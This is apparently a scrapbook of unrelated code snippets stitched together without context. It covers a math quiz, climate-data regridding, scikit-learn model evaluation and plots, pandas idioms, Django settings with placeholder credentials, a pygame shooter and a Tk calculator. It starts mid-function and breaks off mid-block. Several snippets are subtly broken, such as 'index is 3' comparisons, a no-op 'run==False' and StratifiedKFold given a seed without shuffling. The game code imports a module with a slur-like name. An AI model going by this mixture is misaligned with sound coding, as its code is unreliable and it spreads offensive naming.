        problem = str(number_one) + " - " + str(number_two)
        solution = number_one - number_two
        user_solution = get_user_solution(problem)
        count = check_solution(user_solution, solution, count)
        return count
    elif index is 3:
        problem = str(number_one) + " * " + str(number_two)
        solution = number_one * number_two
        user_solution = get_user_solution(problem)
        count = check_solution(user_solution, solution, count)
        return count
    else:
        problem = str(number_one) + " // " + str(number_two)
        solution = number_one // number_two
        user_solution = get_user_solution(problem)
        count = check_solution(user_solution, solution, count)
        return count


def display_result(total, correct):
    if total > 0:
        result = correct / total
        percentage = round((result * 100), 2)
    if total == 0:
        percentage = 0
    print("You answered", total, "questions with", correct, "correct.")
    print("Your score is ", percentage, "%. Thank you.", sep = "")


def main():
    display_intro()
    display_menu()
    display_separator()

    option = get_user_input()
    total = 0
    correct = 0
    while option != 5:
        total = total + 1
        correct = menu_option(option, correct)
        option = get_user_input()

    print("Exit the quiz.")
    display_separator()
    display_result(total, correct)

main()
import random
import operator
def randomCalc():
    ops = {'+':operator.add,
           '-':operator.sub,
           '*':operator.mul,
           '/':operator.truediv}
    num1 = random.randint(0,12)
    num2 = random.randint(1,10)   # I don't sample 0's to protect against divide-by-zero
    op = random.choice(list(ops.keys()))
    answer = ops.get(op)(num1,num2)
    print('What is {} {} {}?\n'.format(num1, op, num2))
    return answer

def askQuestion():
    answer = randomCalc()
    guess = float(input())
    return guess == answer

def quiz():
    print('Welcome. This is a 10 question math quiz\n')
    score = 0
    for i in range(10):
        correct = askQuestion()
        if correct:
            score += 1
            print('Correct!\n')
        else:
            print('Incorrect!\n')
    return 'Your score was {}/10'.format(score)

import xarray as xr
import xesmf as xe
import numpy as np

def regrid(dr_in):
    """Convenience function for one-time regridding"""
    ds_out = xr.Dataset(
                {
                "lat": (["lat"], np.arange(-90, 91, 1.0)),
                "lon": (["lon"], np.arange(-180, 182, 2.0)),
                }
            )
#ds_out
    regridder = xe.Regridder(dr_in, ds_out, 'bilinear', periodic=True)
    dr_out = regridder(dr_in)
    return dr_out

ERAin=xr.open_dataset('ERA5_monthly_SST.nc')

ERAOut=regrid(ERAin)

ERAOut

ERAOut.to_netcdf(path='ERA5_SST.nc',mode='w',format='NETCDF4')
df.withColumn('Day', f.date_format('date', 'EEEE')).show()
+----------+--------+
|      date|     Day|
+----------+--------+
|2010-01-07|Thursday|
+----------+--------+

collection = bpy.data.collections["collection_name"]
for obj in collection.all_objects:
	//example #1
	obj.data.bevel_depth = 0.0005
	//example #2
	print(obj.name)
	//example #3
	obj.location[2] = 0
currentFile = __file__  # May be 'my_script', or './my_script' or
                        # '/home/user/test/my_script.py' depending on exactly how
                        # the script was run/loaded.
realPath = os.path.realpath(currentFile)  # /home/user/test/my_script.py
dirPath = os.path.dirname(realPath)  # /home/user/test
dirName = os.path.basename(dirPath) # test
def plot_roc_curve(fpr, tpr, label=None):
    plt.plot(fpr, tpr, linewidth=2, label=label)
    plt.plot([0, 1], [0, 1], 'k--')
    plt.axis([0, 1, 0, 1])                                  
    plt.xlabel('False Positive Rate (Fall-Out)', fontsize=16)
    plt.ylabel('True Positive Rate (Recall)', fontsize=16)   
    plt.grid(True)                                           
plt.figure(figsize=(8, 6))                                   
plot_roc_curve(fpr, tpr)
plt.show()
def word_count(str):
    counts = dict()
    words = str.split()

    for word in words:
        if word in counts:
            counts[word] += 1
        else:
            counts[word] = 1

    counts_x = sorted(counts.items(), key=lambda kv: kv[1])
    #print(counts_x)
    return counts_x[-2]
 
print(word_count("Both of these issues are fixed by postponing the evaluation of annotations. Instead of compiling code which executes expressions in annotations at their definition time, the compiler stores the annotation in a string form equivalent to the AST of the expression in question. If needed, annotations can be resolved at runtime using typing.get_type_hints(). In the common case where this is not required, the annotations are cheaper to store (since short strings are interned by the interpreter) and make startup time faster."))


pathlib.Path('/tmp/sub1/sub2').mkdir(parents=True, exist_ok=True)
clc; clear; close all;
% known parameter
c=0.95;
siga=0.02;
sigt=siga/(1-c);
D=1/(3*sigt);
nu_sigf=0.0165;
N=100;
H=100;
h=H/N;
% calculate parameter
sigd=D/h^2;
ave_siga=siga;
ave_nu_sigf=nu_sigf;
alpha_l=10^7; %black
alpha_r=alpha_l; %black
% set matrix for M and F (linear system)
M=zeros(N+1);
F=zeros(N+1);
M(1,1)=sigd+(alpha_l/h)+(0.5*siga);
M(N+1,N+1)=M(1,1);
F(1,1)=0.5*nu_sigf;
F(N+1,N+1)=F(1,1);
for i=2:N
M(i-1,i)=-sigd;
M(i,i-1)=-sigd;
M(i,i)=2*sigd+ave_siga;
F(i,i)=ave_nu_sigf;
end

%%% solve matrix
%%% using eig and inv
A=inv(M)*F;
A
[flux,k]=eig(A)
flux_eig1=flux(:,1);
k_eig1=k(1,1);
flux_eig2=flux(:,2);
k_eig2=k(2,2);
flux_eig3=flux(:,3);
k_eig3=k(3,3);
k_eig=[k_eig1 k_eig2 k_eig3]
r"(^[a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+$)"
In [12]: df.groupby('A', group_keys=False).apply(lambda x: x.loc[x.B.idxmax()])
Out[12]: 
   A   B
A       
1  1  20
2  2  40
3  3  10
def plot_precision_vs_recall(precisions, recalls):
    plt.plot(recalls, precisions, "b-", linewidth=2)
    plt.xlabel("Recall", fontsize=16)
    plt.ylabel("Precision", fontsize=16)
    plt.axis([0, 1, 0, 1])
    plt.grid(True)

plt.figure(figsize=(8, 6))
plot_precision_vs_recall(precisions, recalls)
# plt.plot([recall_90_precision, recall_90_precision], [0., 0.9], "r:")
# plt.plot([0.0, recall_90_precision], [0.9, 0.9], "r:")
# plt.plot([recall_90_precision], [0.9], "ro")
plt.show()
def plot_precision_recall_vs_threshold(precisions, recalls, thresholds):
    plt.plot(thresholds, precisions[:-1], "b--", label="Precision", linewidth=2)
    plt.plot(thresholds, recalls[:-1], "g-", label="Recall", linewidth=2)
    plt.legend(loc="center right", fontsize=16) # Not shown in the book
    plt.xlabel("Threshold", fontsize=16)        # Not shown
    plt.grid(True)                              # Not shown
    plt.axis([-50000, 50000, 0, 1])             # Not shown



recall_90_precision = recalls[np.argmax(precisions >= 0.90)]
threshold_90_precision = thresholds[np.argmax(precisions >= 0.90)]


plt.figure(figsize=(8, 4))                                                                  # Not shown
plot_precision_recall_vs_threshold(precisions, recalls, thresholds)
plt.plot([threshold_90_precision, threshold_90_precision], [0., 0.9], "r:")                 # Not shown
plt.plot([-50000, threshold_90_precision], [0.9, 0.9], "r:")                                # Not shown
plt.plot([-50000, threshold_90_precision], [recall_90_precision, recall_90_precision], "r:")# Not shown
plt.plot([threshold_90_precision], [0.9], "ro")                                             # Not shown
plt.plot([threshold_90_precision], [recall_90_precision], "ro")                             # Not shown
plt.show()
import os 
dir_path = os.path.dirname(os.path.realpath(__file__))
data = open("vesko.txt") #Sa ovom komandom postaje fajl iterable da mozemo liniju po liniju da ga citamo i zato mozemo dolje gdje je vesko da idemo komandom for da iscitamo sve iz njega
print(data.readline(), end = '')
data.seek(0)
print(data.readline(), end = '')


print(data.readline(), end = '')

data.seek(0) # postavljamo na 0

for vesko in data:
    print(vesko, end='')
a = ['GSW', 'LAKERS', 'CLIPPERS']
b = [1, 2, 3]
dict(zip(a, b))
from sklearn.model_selection import StratifiedKFold
from sklearn.base import clone
skfolds = StratifiedKFold(n_splits=3, random_state=42)
for train_index, test_index in skfolds.split(X_train, y_train_5):
  clone_clf = clone(sgd_clf)
  X_train_folds = X_train[train_index]
  y_train_folds = y_train_5[train_index]
  X_test_fold = X_train[test_index]
  y_test_fold = y_train_5[test_index]
  clone_clf.fit(X_train_folds, y_train_folds)
  y_pred = clone_clf.predict(X_test_fold)
  n_correct = sum(y_pred == y_test_fold)
  print(n_correct / len(y_pred))



logreg=LogisticRegression()
stratifiedkf=StratifiedKFold(n_splits=5)
score=cross_val_score(logreg,X,Y,cv=stratifiedkf)
pd.set_option('display.max_columns', 200)
pd.set_option('display.max_rows', 100)
pd.set_option('display.min_rows', 100)
pd.set_option('display.expand_frame_repr', True)
import pandas as pd

df1 = pd.DataFrame({'Data': ['a', 'b', 'c', 'd']})

df2 = pd.DataFrame({'Data': [1, 2, 3, 4]})

df3 = pd.DataFrame({'Data': [1.1, 1.2, 1.3, 1.4]})

writer = pd.ExcelWriter('multiple.xlsx', engine='xlsxwriter')

df1.to_excel(writer, sheet_name='Sheeta')

df2.to_excel(writer, sheet_name='Sheetb')

df3.to_excel(writer, sheet_name='Sheetc')

writer.save()
from sklearn.model_selection import cross_val_score
scores = cross_val_score(lin_reg, full_df_prepared, label, scoring="neg_mean_squared_error", cv=10)
rmse_scores = np.sqrt(-scores)
def display_scores(scores):
  print("Scores:", scores)
  print("Mean:", scores.mean())
  print("Standard deviation:", scores.std())
display_scores(rmse_scores)
from sklearn.metrics import mean_squared_error
car_predictions = lin_reg.predict(full_df_prepared)
lin_mse = mean_squared_error(car_predictions, label)
lin_rmse = np.sqrt(lin_mse)
lin_rmse
import pygame,sys,os,random,math,cmath
def initierea_n_secta():
    pygame.init()
initierea_n_secta()
lun,lat=1100,800
WIN=pygame.display.set_mode((lun,lat))
FPS=60
WIN.fill((0,255,0))
clock=pygame.time.Clock()
pygame.display.set_caption("INVADERS OF PERDOR")
fundal=pygame.image.load(os.path.join('shits',"themap.jpg"))
pius=pygame.image.load(os.path.join('shits',"bulletsus.png"))
piuj=pygame.image.load(os.path.join('shits',"bulletjos.png"))
Razboinic=pygame.image.load(os.path.join("shits","warrior.png"))
Control_Panel=pygame.image.load(os.path.join("shits","Kontrol.png"))
run=True
### PLAYER STATISTICS####################33
playerX=490
playerY=600
playerbx=490
playerby=575
move=0
statusul='ready'
bullety_change_player=0
#MIN SI MAX DE MOVEMENT RANGE PT ORICE ENEMY####################33
maximx=1050
maximy=350
minx=0
miny=20
random_enemy_x=random.randint(minx,maximx)
random_enemy_y=random.randint(miny,maximy)
##################### REPERE PT TIMP ###########################
current_time=0
shittime=0
kronos=0
######## AMOUNT DAMAGE TAKEN SI HEAL CU BUFFURI #######################
amount_damage_taken=0
amount_damage_taken_mob=0
heal=0
buff=0
from niqqa import *
#### CLASA PLAYER + GROUP SPRITES PT PLAYER#################33
class Player(pygame.sprite.Sprite):
    def __init__(self):
        super().__init__()
        self.x=playerX
        self.y=playerY
        self.image=Razboinic
        self.rect=Razboinic.get_rect(topleft=[playerX,playerY])
        self.glont=pius
        self.health=100
        self.patratglontstang=pius.get_rect()
        self.patratglontdrept=pius.get_rect()  
        self.patratlungimeglont=self.glont.get_width()
        self.patratlatimeglont=self.glont.get_height()
        self.bullet_damage=5
        self.aparitie=True
    def bariere():
        global playerX
        if playerX<0:
            playerX=0
        if playerX>1000:
            playerX=1000 
    def health_bar():    
        global amount_damage_taken
        all_health_bar=pygame.draw.rect(Control_Panel,(0,0,0),(30,30,240,40),3,border_radius=5)
        current_health=200
        target_health=current_health-amount_damage_taken+heal
        if current_health>=target_health:
            transition_health_rect_width=current_health-target_health
        elif current_health<target_health:
            transition_health_rect_width=target_health-current_health   
        red_bar=pygame.draw.rect(Control_Panel,(255,0,0),(32,32,target_health+36,36),0,border_radius=5)
        transition_bar=pygame.draw.rect(Control_Panel,(100,0,200),(target_health+36,32,transition_health_rect_width,38),0,border_radius=5)
        for n in range(1,5):
            slash=pygame.draw.line(Control_Panel,(0,0,0),(59*n+32,30),(32+59*(n-1),68),4)                
    def APARITIE(self):
        if self.aparitie:
            group_Player.add(self)
            cioata_stanga_PL.aparitie=True
            cioata_dreapta_PL.aparitie=True
            group_Player.draw(WIN)
        elif self.aparitie==False:
            group_Player.remove(self)  
    def control_panel():
        global buff
        global amount_damage_taken
        WIN.blit(Control_Panel,(0,580))
        pygame.draw.circle(Control_Panel,(0,0,0),(77,150),17,2)
        pygame.draw.circle(Control_Panel,(0,0,0),(205,150),17,2)
        font=pygame.font.SysFont("chalkduster.ttf",25)
        font_as=pygame.font.SysFont("chalkduster.ttf",23)
        movement_speed_text=font.render("Speeduleanu",True,"green")
        WIN.blit(movement_speed_text,(18,680))
        attack_speed_text1=font_as.render("Mai fumeaza din ele",True,"yellow")
        WIN.blit(attack_speed_text1,(133,662))
        attack_speed_text2=font_as.render("da le drecu",True,"yellow")
        WIN.blit(attack_speed_text2,(165,685))
        if buff==0:
            pygame.draw.circle(Control_Panel,(100,0,150),(77,150),15)
            pygame.draw.circle(Control_Panel,(100,0,150),(205,150),15)
        if buff!=0:
            pygame.draw.circle(Control_Panel,(0,255,0),(205,150),15)
            pygame.draw.circle(Control_Panel,(0,255,0),(77,150),15)   
group_Player=pygame.sprite.Group()
America=Player()
############### CLASA BULLET + CLASA CIOTARE PT PLAYER ###############
class Bullet(pygame.sprite.Sprite):
    def __init__(self,image,q):
        super().__init__()
        self.x=random_enemy_x
        self.y=random_enemy_y
        self.image=image
        self.rect=self.image.get_rect()
        self.width=self.rect.width
        self.height=self.rect.height
        self.aparitie=q 
class Ciotarele(Bullet):
    def __init__(self,x):
        super().__init__(pius,False)
        self.stanga_sau_dreapta=x
        if self.stanga_sau_dreapta==1:
            self.rect.topleft=(playerbx-20,1000)
        elif self.stanga_sau_dreapta==2:
            self.rect.topleft=(playerbx+50,1000)
        else:
            self.rect.topleft=(-300,0)
    def cioateletata(self):
        WIN.blit(pius,(playerX,playerY)) 
        WIN.blit(pius,(playerX+70,playerY))  
    def fireb(self):
        global statusul
        global playerby
        global bullety_change_player
        statusul='fire'
        bullety_change_player=-7
        if self.stanga_sau_dreapta==1:
            self.rect.topleft=(playerbx-20,playerby)
        if self.stanga_sau_dreapta==2:
            self.rect.topleft=(playerbx+50,playerby)       
        if playerby<=-65:
            statusul='ready' 
            playerby=565  
            bullety_change_player=0
    def trage(self):
        global playerby
        if statusul == "fire":
            self.fireb()
cioata_stanga_PL=Ciotarele(1)
cioata_dreapta_PL=Ciotarele(2)
group_bullets_player=pygame.sprite.Group()         
def Ciotarele_afisaj():
    global group_bullets_player
    global playerby
    playerby+=bullety_change_player
    if cioata_dreapta_PL.aparitie and cioata_stanga_PL.aparitie: 
        if cioata_stanga_PL.stanga_sau_dreapta==1:   
            group_bullets_player.add(cioata_stanga_PL)
            cioata_stanga_PL.trage()
        if cioata_dreapta_PL.stanga_sau_dreapta==2:      
            cioata_dreapta_PL.trage()
            group_bullets_player.add(cioata_dreapta_PL)
        cioata_dreapta_PL.cioateletata()    
    group_bullets_player.draw(WIN)             
####################################################################3
######### CLASA ENEMY + PERDOARELE #################3
class Enemy(pygame.sprite.Sprite):
    def __init__(self,image,x,y,q):
        super().__init__()
        self.image=pygame.image.load(image)
        self.x=x
        self.y=y
        self.health=100
        self.bulletx=self.x
        self.bullety=self.y
        self.rect=self.image.get_rect(topleft=(self.x,self.y))
        self.width=self.image.get_width()
        self.height=self.image.get_height()
        self.cioata=piuj
        self.cioatapatrat=piuj.get_rect()
        self.cioatalatime=self.cioatapatrat.height
        self.cioatalungime=self.cioatapatrat.width
        self.xglontincur=self.x+15
        self.yglontincur=self.y+30
        self.patratglontincur=piuj.get_rect()
        self.patratglontincur.topleft=(self.xglontincur,self.yglontincur)
        self.bullet_damage=20
        self.aparitie=q
        self.cacare_time=False
    x_change=2
    y_change=2
    def moverestr(self):
        if self.x==maximx and self.y==maximy:
            self.x_change=-2
            self.y_change=-2
        if self.x==minx and self.y==miny:
            self.x_change=2
            self.y_change=2      
        if self.y==maximy and self.x==minx:
            self.y_change=-2
            self.x_change=2
        if self.y==miny and self.x==maximx:
            self.y_change=2
            self.x_change=-2
        if self.x==minx and self.y!=maximy and self.y_change==-2 and self.x_change==-2:
            self.y_change=-2
            self.x_change=2
        if self.x==minx and self.y!=maximy and self.y_change==2 and self.x_change==-2:
            self.y_change=2
            self.x_change=-2
        if self.y==miny and self.x!=maximx and self.x_change==-2 and self.y_change==-2:
            self.y_change=2
            self.x_change=-2
        if self.y==miny and self.x!=maximy and self.x_change==2 and self.y_change==-2:
            self.y_change=2
            self.x_change=2 
        if self.x==minx and self.y!=maximy and self.y_change==-2 and self.x_change==2:
            self.y_change=-2
            self.x_change=2
        if self.x==minx and self.y!=maximy and self.y_change==2 and self.x_change==-2:
            self.y_change=2
            self.x_change=2
        if self.y==miny and self.x!=maximx and self.x_change==-2 and self.y_change==2:
            self.y_change=2
            self.x_change=-2
        if self.y==miny and self.x!=maximy and self.x_change==2 and self.y_change==2:
            self.y_change=2
            self.x_change=2
        if self.x==maximx and self.y!=miny and self.y_change==-2:
            self.y_change=-2
            self.x_change=-2
        if self.x==maximx and self.y!=maximy and self.y_change==2:
            self.y_change=-2
            self.x_change=-2
        if self.y==maximy and self.x!=maximx and self.x_change==-2:
            self.y_change=-2
            self.x_change=-2
        if self.y==maximy and self.x!=maximx and self.x_change==2:
            self.y_change=-2
            self.x_change=2
        if self.x==maximx and self.y!=maximy and self.y_change==2 and self.x_change==2:
            self.x_change=-2
            self.y_change=-2
        if self.x==maximx and self.y!=maximy and self.y_change==-2 and self.x_change==2:
            self.x_change=-2
            self.y_change=2  
        if self.x<minx:
            self.x=minx
        if self.x>maximx:
            self.x=maximx
        if self.y<miny:
            self.y=miny
        if self.y>maximy:
            self.y=maximy
        if self.y==miny:
            self.y_change=2
        if self.y==maximy:
            self.y_change=-2
        if self.x==maximx and (self.y!=miny or self.y==maximy or self.y==miny) and self.x_change==2:
            self.x_change=-2
        if self.x==maximx and (self.y!=maximy or self.y!=miny) and self.x_change==-2 and self.y_change==-2:
            self.y_change=2
            self.x_change=-2              
    def APARITIE(self):
        global Perdor 
        if self.aparitie==False: 
            self.cacare_time=False
            group_enemies.remove(self)
        if self.aparitie:
            self.cacare_time=True
            Perdor(self).aparitie=True
            group_enemies.add(self)   
            group_enemies.draw(WIN) 
group_enemies=pygame.sprite.Group()
Butoi=Enemy(os.path.join("shits","DADA.png"),random_enemy_x,random_enemy_y,True)                
class Perdor(Bullet):
    def __init__(self,al_cui):
        super().__init__(piuj,False)
        self.al_cui=al_cui 
        self.x=al_cui.bulletx
        self.y=al_cui.bullety
        self.al_cui_aparitie=al_cui.aparitie
        self.rect=piuj.get_rect()
        if al_cui.aparitie:
            self.aparitie=True
        else:
            self.aparitie=False
        self.rect.topleft=(self.x,self.y)
        self.rect.bottomright=(self.x+self.rect.width,self.y+self.rect.height)
    def timer(self):
        global kronos
        global current_time
        global shittime
        if current_time-shittime<1500:
            kronos=10
        else:
            kronos=0     
    def lansarea(self):
        global current_time
        global shittime
        if current_time-shittime>1500:
            shittime=pygame.time.get_ticks()
    def Aparitie_perdor(self):
        global group_boss_bullet
        if self.aparitie:
            group_boss_bullet.add(self)
        else:
            group_boss_bullet.remove(self)        
group_boss_bullet=pygame.sprite.Group()
perdor_Butoi=Perdor(Butoi)
def Perdor_afisaj(al_cui):
    global group_boss_bullet
    global kronos 
    al_cui.xglontincur+=al_cui.x_change
    al_cui.bullety+=kronos
    al_cui.yglontincur+=al_cui.y_change
    Perdor(al_cui).timer()
    Perdor(al_cui).lansarea()
    Perdor(al_cui).Aparitie_perdor()
    if al_cui.bullety>=800:
        al_cui.bulletx=al_cui.xglontincur
        al_cui.bullety=al_cui.yglontincur                       
############### ATRIBUTES FUNCTIONS + GAME ATRIBUTES############3
def Enemy_atributes(ale_cui):
    global amount_damage_taken_mob
    ale_cui.xglontincur+=0
    ale_cui.APARITIE()      
    ale_cui.health-=amount_damage_taken_mob
    ale_cui.rect.topleft=(ale_cui.x,ale_cui.y)
    ale_cui.x+=ale_cui.x_change
    ale_cui.y+=ale_cui.y_change
    if ale_cui.health<=0:
        ale_cui.health=0
        ale_cui.aparitie=False 
    ale_cui.moverestr()
def Bullet_Atributes():
    Ciotarele_afisaj()
    Perdor_afisaj(Butoi)
    group_boss_bullet.draw(WIN)  
def Player_Atributes():
    global playerX
    playerX+=move
    Player.bariere()
    America.APARITIE()
    America.health+=heal
    America.health-=amount_damage_taken
    America.rect.topleft=(playerX,playerY)
    America.patratglontstang.topleft=(playerbx-20,playerby-7)
    America.patratglontdrept.topleft=(playerbx+50,playerby-7)
    America.patratglontstang.bottomright=(playerbx-20+America.patratlungimeglont,playerby-7+America.patratlatimeglont)
    America.patratglontdrept.bottomright=(playerbx+50+America.patratlungimeglont,playerby-7+America.patratlatimeglont)
    if America.health<=0:
        America.health=0
        America.aparitie=False    
############################ FUNCTIONALITATE JOC #####################################
def eventtypes():
    global move
    global playerbx
    global playerby
    global playerX
    for event in pygame.event.get():
        if event.type==pygame.QUIT:
            global run
            run==False
            pygame.quit() 
            sys.exit()
        if event.type==pygame.KEYDOWN:
            if event.key==pygame.K_LEFT:
                move=-2.5
            if event.key==pygame.K_RIGHT:
                move=2.5
            if event.key==pygame.K_UP:
                if statusul=='ready':
                    playerbx=playerX+20 
                    if cioata_stanga_PL.aparitie==True:
                        Ciotarele.fireb(cioata_dreapta_PL)
                        cioata_stanga_PL.fireb()      
        if event.type==pygame.KEYUP:
            if event.key==pygame.K_LEFT:
                move=0
            if event.key==pygame.K_RIGHT:
                move=0      
def wallpaper():
    WIN.blit(fundal,(0,0))
def currenting_time():
   global current_time
   current_time=pygame.time.get_ticks() 
def GAME_ATRIBUTES():
    currenting_time()
    eventtypes()
    wallpaper()
def control_panel():
    Player.health_bar()
    Player.control_panel()
def flip_the_screen():
    pygame.display.flip()    
while run:
    clock.tick(FPS)
    GAME_ATRIBUTES()
    Player_Atributes() 
    Enemy_atributes(Butoi)
    Bullet_Atributes()
    control_panel()
    flip_the_screen()

some_data = df.iloc[:5]
some_labels = label.iloc[:5]
some_data_prepared = full_pipeline.transform(some_data)
print("Predictions:", lin_reg.predict(some_data_prepared))
print("Labels:", list(some_labels))
from sklearn.compose import ColumnTransformer
full_pipeline = ColumnTransformer([("num", num_pipeline, numerical_attribute), ("cat", OneHotEncoder(), categorical_attribute)])
full_df_prepared = full_pipeline.fit_transform(df)
full_df_prepared
from sklearn.pipeline import Pipeline
from sklearn.preprocessing import StandardScaler
num_pipeline = Pipeline([('imputer', SimpleImputer(strategy="median")), ('std_scaler', StandardScaler())])
transformed = num_pipeline.fit_transform(numerical_df)
numerical_df_transformed = pd.DataFrame(transformed, columns=numerical_df.columns, index=numerical_df.index)
numerical_df_transformed
from sklearn.impute import SimpleImputer
imputer = SimpleImputer(strategy="median")
imputed = imputer.fit_transform(numerical_df)
numerical_df_imputed = pd.DataFrame(imputed, columns=numerical_df.columns, index=numerical_df.index)
numerical_df_imputed
from pandas.plotting import scatter_matrix
attributes = ["median_house_value", "median_income", "total_rooms",
"housing_median_age"]
scatter_matrix(df[attributes], figsize=(12, 8))
df.reset_index().plot(kind='scatter', x='index', y='column')
df.plot(kind="scatter", x="longitude", y="latitude", alpha=0.4, s=df["population"]/100, label="population", figsize=(10,7), c="median_house_value", cmap=plt.get_cmap("jet"), colorbar=True)
# Open Anaconda Prompt
# Activate the desired enviroment
pip install package-name
from sklearn.model_selection import StratifiedShuffleSplit
sss=StratifiedShuffleSplit(n_splits=1,test_size=0.25,random_state=0)

for train_index, test_index in sss.split(df, df["km_driven_cat"]):
    train_set = df.iloc[train_index]
    test_set = df.iloc[test_index]
class LabelSmoothingLoss(torch.nn.Module):
    def __init__(self, smoothing: float = 0.1, 
                 reduction="mean", weight=None):
        super(LabelSmoothingLoss, self).__init__()
        self.smoothing   = smoothing
        self.reduction = reduction
        self.weight    = weight

    def reduce_loss(self, loss):
        return loss.mean() if self.reduction == 'mean' else loss.sum() \
         if self.reduction == 'sum' else loss

    def linear_combination(self, x, y):
        return self.smoothing * x + (1 - self.smoothing) * y

    def forward(self, preds, target):
        assert 0 <= self.smoothing < 1

        if self.weight is not None:
            self.weight = self.weight.to(preds.device)

        n = preds.size(-1)
        log_preds = F.log_softmax(preds, dim=-1)
        loss = self.reduce_loss(-log_preds.sum(dim=-1))
        nll = F.nll_loss(
            log_preds, target, reduction=self.reduction, weight=self.weight
        )
        return self.linear_combination(loss / n, nll)
job = {
	'title': title,
	'company': company,
	'salary': salary,
	'summary': summary
}

joblist.append(job)

print(*joblist, sep='\n')
import tkinter as tk
import numpy as np


# COPY HERE SHADOW CLASS


def test_click():
    button1.configure(text='You have clicked me!')


if __name__ == '__main__':
    root = tk.Tk()
    
    # Create dummy buttons
    button1 = tk.Button(root, text="Click me!", width=20, height=2, command=test_click)
    button1.grid(row=0, column=0, padx=50, pady=20)
    button2 = tk.Button(root, text="Hover me!", width=20, height=2)
    button2.bind('<Enter>', lambda e: button2.configure(text='You have hovered me!'))
    button2.grid(row=1, column=0, padx=50, pady=20)
    
    # Add shadow
    Shadow(button1, color='#ff0000', size=1.3, offset_x=-5, onclick={'color':'#00ff00'})
    Shadow(button2, size=10, offset_x=10, offset_y=10, onhover={'size':5, 'offset_x':5, 'offset_y':5})
    
    root.mainloop()
import os
from dotenv import load_dotenv

# Load .env variables
load_dotenv()

DATABASES = {
    'default': {
        'ENGINE': os.environ['ENGINE'],
        'NAME': os.environ['DB'],
        'USER': os.environ['NAME'],
        'PASSWORD': os.environ['PASSWORD'],
        'HOST': os.environ['HOST'],
        'PORT': os.environ['PORT'],
    }
}
DATABASES = {                                                                      
    'default': {                                                                   
        'ENGINE': 'django.db.backends.postgresql',                                 
        'NAME': 'database',                                                            
        'USER': 'user',                                                           
        'PASSWORD': 'password',                                                       
        'HOST': 'host',                                                       
        'PORT': '5432',                                                            
    }                                                                              
} 
import os,json

path_to_json = 'corona/'

for file_name in [file for file in os.listdir(path_to_json) if file.endswith('.json')]:
  with open(path_to_json + file_name) as json_file:
    data = json.load(json_file)
    print(data)
# Import pandas package 
import pandas as pd
  
# create a dictionary with five fields each
data = {
    'A':['A1', 'A2', 'A3', 'A4', 'A5'], 
    'B':['B1', 'B2', 'B3', 'B4', 'B5'], 
    'C':['C1', 'C2', 'C3', 'C4', 'C5'], 
    'D':['D1', 'D2', 'D3', 'D4', 'D5'], 
    'E':['E1', 'E2', 'E3', 'E4', 'E5'] }
  
# Convert the dictionary into DataFrame 
df = pd.DataFrame(data)
  
# Remove two columns name is 'C' and 'D'
df.drop(['C', 'D'], axis = 1)
  
# df.drop(columns =['C', 'D'])
cleanedList = [x for x in countries if str(x) != 'nan']

# another way
# x is the list
[v for v in x if v == v]
import itertools

a = [1, 2, 3]
n = 3

perm_iterator = itertools.permutations(a, n)

for item in perm_iterator:
    print(item)
pd.merge(product,customer,on='Product_ID',how='outer')
from collections import Counter
from tkinter import *



GRID_DICT = { 
    1: {"r": 2, "c": 0},
    2: {"r": 2, "c": 1},
    3: {"r": 2, "c": 2},
    4: {"r": 3, "c": 0},
    5: {"r": 3, "c": 1},
    6: {"r": 3, "c": 2},
    7: {"r": 4, "c": 0},
    8: {"r": 4, "c": 1},
    9: {"r": 4, "c": 2},
    0: {"r": 5, "c": 0},
    "+": {"r": 2, "c": 3},
    "-": {"r": 3, "c": 3},
    "*": {"r": 4, "c": 3},
    "/": {"r": 5, "c": 3},
    "=": {"r": 5, "c": 2},
    "c": {"r": 5, "c": 1},
    ".": {"r": 6, "c": 0},
}


expression = ""

def press(num):
    global expression
    expression = expression + str(num)
    equation .set(expression)

def equalpress():
    try:
        global expression
        total = str(eval(expression))
        equation.set(total)
        expression = ""        
    except:
        equation.set("error")
        expression = ""
        
def clear():
        global expression
        expression = ""
        equation.set("")
        
if __name__ == '__main__':
        gui = Tk()
        
        gui.configure(background="dark blue")
        gui.title("Simple calculator")
        gui.geometry("270x150")
        equation = StringVar()
        expression_field = Entry(gui, textvariable=equation)
        expression_field.grid(columnspan=6, ipadx=70)
        
        bn1 = Button(gui, text='1', fg='white', bg='blue', command=lambda: press(1), height=1, width=7)
        bn1.grid(row=GRID_DICT[1]["r"], column=GRID_DICT[1]["c"])  
        
        bn2 = Button(gui, text='2', fg='white', bg='blue', command=lambda: press(2), height=1, width=7)
        bn2.grid(row=GRID_DICT[2]["r"], column=GRID_DICT[2]["c"])
        
        bn3 = Button(gui, text='3', fg='white', bg='blue', command=lambda: press(3), height=1, width=7)
        bn3.grid(row=GRID_DICT[3]["r"], column=GRID_DICT[3]["c"])
        
        bn4 = Button(gui, text='4', fg='white', bg='blue', command=lambda: press(4), height=1, width=7)
        bn4.grid(row=GRID_DICT[4]["r"], column=GRID_DICT[4]["c"])
        
        bn5 = Button(gui, text='5', fg='white', bg='blue', command=lambda: press(5), height=1, width=7)
        bn5.grid(row=GRID_DICT[5]["r"], column=GRID_DICT[5]["c"])
        
        bn6 = Button(gui, text='6', fg='white', bg='blue', command=lambda: press(6), height=1, width=7)
        bn6.grid(row=GRID_DICT[6]["r"], column=GRID_DICT[6]["c"])
        
        bn7 = Button(gui, text='7', fg='white', bg='blue', command=lambda: press(7), height=1, width=7)
        bn7.grid(row=GRID_DICT[7]["r"], column=GRID_DICT[7]["c"])
        
        bn8 = Button(gui, text='8', fg='white', bg='blue', command=lambda: press(8), height=1, width=7)
        bn8.grid(row=GRID_DICT[8]["r"], column=GRID_DICT[8]["c"])
        
        bn9 = Button(gui, text='9', fg='white', bg='blue', command=lambda: press(9), height=1, width=7)
        bn9.grid(row=GRID_DICT[9]["r"], column=GRID_DICT[9]["c"])
        
        bn0 = Button(gui, text='0', fg='white', bg='blue', command=lambda: press(0), height=1, width=7)
        bn0.grid(row=GRID_DICT[0]["r"], column=GRID_DICT[0]["c"])
        
        plus = Button(gui, text='+', fg='white', bg='blue', command=lambda: press("+"), height=1, width=7)
        plus.grid(row=GRID_DICT["+"]["r"], column=GRID_DICT["+"]["c"])

        minus = Button(gui, text='-', fg='white', bg='blue', command=lambda: press("-"), height=1, width=7)
        minus.grid(row=GRID_DICT["-"]["r"], column=GRID_DICT["-"]["c"])        
        
        multiply = Button(gui, text='*', fg='white', bg='blue', command=lambda: press("*"), height=1, width=7)
        multiply.grid(row=GRID_DICT["*"]["r"], column=GRID_DICT["*"]["c"])

